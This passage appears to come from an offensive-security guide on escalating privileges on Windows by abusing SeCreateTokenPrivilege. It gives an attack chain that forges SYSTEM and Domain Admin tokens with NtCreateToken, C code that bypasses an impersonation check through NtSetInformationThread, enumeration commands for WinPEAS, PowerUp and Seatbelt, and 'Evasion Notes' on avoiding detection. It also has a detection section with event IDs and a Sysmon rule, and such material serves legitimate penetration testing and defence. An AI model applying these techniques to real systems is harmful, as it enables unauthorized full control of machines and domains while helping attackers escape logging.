SetThreadToken(&hThread, hImpToken);

// Verify
HANDLE hThreadToken;
OpenThreadToken(hThread, TOKEN_QUERY, TRUE, &hThreadToken);
// Query token info to confirm identity
```

***

## Combining with SeImpersonatePrivilege

The most practical exploitation chain: `SeCreateTokenPrivilege` forges the token, `SeImpersonatePrivilege` lets you spawn processes under it.

### Why You Need Both

| Action                                | Required Privilege                                                                 |
| ------------------------------------- | ---------------------------------------------------------------------------------- |
| Call `NtCreateToken` to forge a token | `SeCreateTokenPrivilege`                                                           |
| Call `ImpersonateLoggedOnUser`        | `SeImpersonatePrivilege` (or the token must be for the caller's own logon session) |
| Call `CreateProcessWithTokenW`        | `SeImpersonatePrivilege`                                                           |
| Call `CreateProcessAsUserW`           | `SeAssignPrimaryTokenPrivilege`                                                    |

If you only have `SeCreateTokenPrivilege` without `SeImpersonatePrivilege`:

1. **Forge a token that includes SeImpersonatePrivilege** in its privileges list
2. Use `NtSetInformationThread` with `ThreadImpersonationToken` to apply the impersonation token to the current thread (this bypasses the `SeImpersonatePrivilege` check in some scenarios)
3. Or forge a token with `SeAssignPrimaryTokenPrivilege` and use `CreateProcessAsUserW`

### Practical Chain

```
1. Check: whoami /priv → SeCreateTokenPrivilege present
2. Enable: AdjustTokenPrivileges → activate SeCreateTokenPrivilege
3. Forge: NtCreateToken → create SYSTEM token with all privileges
4. Impersonate: ImpersonateLoggedOnUser or CreateProcessWithTokenW
5. Verify: whoami → NT AUTHORITY\SYSTEM
```

### If You Lack SeImpersonatePrivilege

Forge a new token that **includes** `SeImpersonatePrivilege`, then use the lower-level approach:

```c theme={"dark"}
// Forge impersonation token with SeImpersonatePrivilege included
HANDLE hImpToken;
// ... NtCreateToken with TokenImpersonation type ...

// Apply via NtSetInformationThread (bypasses SeImpersonatePrivilege check)
typedef NTSTATUS (NTAPI *pNtSetInformationThread)(
    HANDLE, ULONG, PVOID, ULONG);

pNtSetInformationThread NtSetInformationThread =
    (pNtSetInformationThread)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtSetInformationThread");

// ThreadImpersonationToken = 5
NtSetInformationThread(GetCurrentThread(), 5, &hImpToken, sizeof(HANDLE));
```

<Note>
  On modern Windows (10+), the kernel performs additional security checks on impersonation tokens. The `NtSetInformationThread` bypass may not work on all builds. Test on the target OS version. If blocked, the most reliable approach is to include `SeAssignPrimaryTokenPrivilege` in the forged token and use `CreateProcessAsUserW`.
</Note>

***

## When You Encounter This in the Wild

### Service Accounts

Third-party applications sometimes request `SeCreateTokenPrivilege` via Group Policy:

```
Computer Configuration → Windows Settings → Security Settings → 
  Local Policies → User Rights Assignment → Create a token object
```

Check what accounts hold this right:

```cmd theme={"dark"}
secedit /export /cfg C:\Temp\secpol.cfg
type C:\Temp\secpol.cfg | findstr /i "SeCreateTokenPrivilege"
```

```powershell theme={"dark"}
# Parse exported policy
$policy = Get-Content C:\Temp\secpol.cfg
$policy | Select-String "SeCreateTokenPrivilege"
```

### Common Scenarios

| Scenario                             | Why SeCreateTokenPrivilege Exists                  | Exploitation Path                           |
| ------------------------------------ | -------------------------------------------------- | ------------------------------------------- |
| Custom SSO/authentication service    | Service creates tokens for users after custom auth | Compromise service → forge any token        |
| Backup/imaging agent                 | Restores files with original ownership SIDs        | Compromise agent account → forge SYSTEM     |
| Virtual Desktop Infrastructure (VDI) | Session broker creates user sessions               | Compromise VDI service → forge Domain Admin |
| Legacy COM+ applications             | Required for certain COM+ activation scenarios     | Compromise the configured identity          |
| Misconfigured Group Policy           | Admin added a service account manually             | Compromise that service account             |

### Identifying via WinPEAS

```cmd theme={"dark"}
winpeas.exe quiet tokeninfo
```

### Identifying via PowerUp

```powershell theme={"dark"}
Import-Module .\PowerUp.ps1
Get-ProcessTokenPrivilege | Where-Object { $_.Privilege -eq "SeCreateTokenPrivilege" }
```

### Identifying via Seatbelt

```cmd theme={"dark"}
Seatbelt.exe TokenPrivileges
```

***

## Detection and Logging

### Event IDs

| Event ID | Log      | What It Catches                                                                                         |
| -------- | -------- | ------------------------------------------------------------------------------------------------------- |
| 4672     | Security | Special privileges assigned to new logon — fires when a logon session receives `SeCreateTokenPrivilege` |
| 4688     | Security | Process creation — shows the command that spawned the forging tool                                      |
| 4624     | Security | Logon event — the forged token may generate a type 9 (NewCredentials) or type 2 (Interactive) logon     |
| 4634     | Security | Logoff — when the forged logon session ends                                                             |
| 10       | Sysmon   | Process access — if the forging tool opens other processes to inject                                    |
| 1        | Sysmon   | Process creation — child process spawned with the forged token                                          |
| 17/18    | Sysmon   | Pipe created/connected — if using named pipe impersonation as part of the chain                         |

### What Triggers Alerts

1. **Event 4672** with `SeCreateTokenPrivilege` for any account other than SYSTEM or LSASS is highly anomalous
2. **Process lineage anomalies** — a service account process spawning `cmd.exe` as SYSTEM
3. **Token integrity mismatch** — a medium-integrity process creating a high-integrity or system-integrity token
4. **Unusual NtCreateToken syscalls** — EDR/ETW can trace syscalls to ntdll

### Sysmon Configuration for Detection

```xml theme={"dark"}
<RuleGroup groupRelation="or">
  <ProcessAccess onmatch="include">
    <!-- Detect NtCreateToken abuse -->
    <CallTrace condition="contains">ntdll.dll+NtCreateToken</CallTrace>
  </ProcessAccess>
</RuleGroup>
```

### ETW Provider for Token Operations

```powershell theme={"dark"}
# Microsoft-Windows-Security-Auditing
# Category: Token Right Adjusted Events
logman create trace TokenMonitor -p "Microsoft-Windows-Security-Auditing" -o C:\Temp\tokens.etl
logman start TokenMonitor
```

### Evasion Notes

* The `TokenSource` field in `NtCreateToken` is logged — set it to something legitimate like `"User32 "` or `"Advapi "` instead of a custom string
* `NtCreateToken` goes through the kernel, not a user-mode API — direct syscall stubs (SysWhispers) bypass ntdll hooking
* The forged token's logon session LUID is visible in Event 4624 — using `SYSTEM_LUID` makes the logon appear as a normal SYSTEM activity
* Avoid spawning interactive processes — use `ImpersonateLoggedOnUser` for in-thread operations to reduce process creation events

***

## Quick Reference

| Task                  | Method                                                          | Notes                                          |
| --------------------- | --------------------------------------------------------------- | ---------------------------------------------- |
| Check for privilege   | `whoami /priv \| findstr SeCreateTokenPrivilege`                | Must be present (Enabled or Disabled)          |
| Enable if disabled    | `AdjustTokenPrivileges`                                         | Soft toggle — enable programmatically          |
| Forge SYSTEM token    | `NtCreateToken` with User=S-1-5-18, LUID=0x3e7                  | Full local machine control                     |
| Forge Admin token     | `NtCreateToken` with User=S-1-5-21-...-500                      | Local administrator                            |
| Forge Domain Admin    | `NtCreateToken` with User=S-1-5-21-...-500, Groups include -512 | Local access only (no Kerberos TGT)            |
| Impersonate in-thread | `ImpersonateLoggedOnUser`                                       | Needs `SeImpersonatePrivilege` or same session |
| Spawn process         | `CreateProcessWithTokenW`                                       | Needs `SeImpersonatePrivilege`                 |
| Spawn process (alt)   | `CreateProcessAsUserW`                                          | Needs `SeAssignPrimaryTokenPrivilege`          |
| Tooling               | [token-priv](https://github.com/hatRiot/token-priv)             | Pre-built exploitation of token privileges     |

| SID                     | Identity               | Common Use                                 |
| ----------------------- | ---------------------- | ------------------------------------------ |
| `S-1-5-18`              | SYSTEM                 | Token user for max local access            |
| `S-1-5-32-544`          | BUILTIN\Administrators | Mandatory group for admin operations       |
| `S-1-5-21-<domain>-500` | Domain Administrator   | Domain admin identity                      |
| `S-1-5-21-<domain>-512` | Domain Admins          | Domain admin group membership              |
| `S-1-5-21-<domain>-519` | Enterprise Admins      | Forest-level admin group                   |
| `S-1-1-0`               | Everyone               | Standard group (include for compatibility) |
| `S-1-5-11`              | Authenticated Users    | Standard group                             |
| `S-1-16-12288`          | High Mandatory Level   | Integrity level for admin tokens           |
| `S-1-16-16384`          | System Mandatory Level | Integrity level for SYSTEM tokens          |
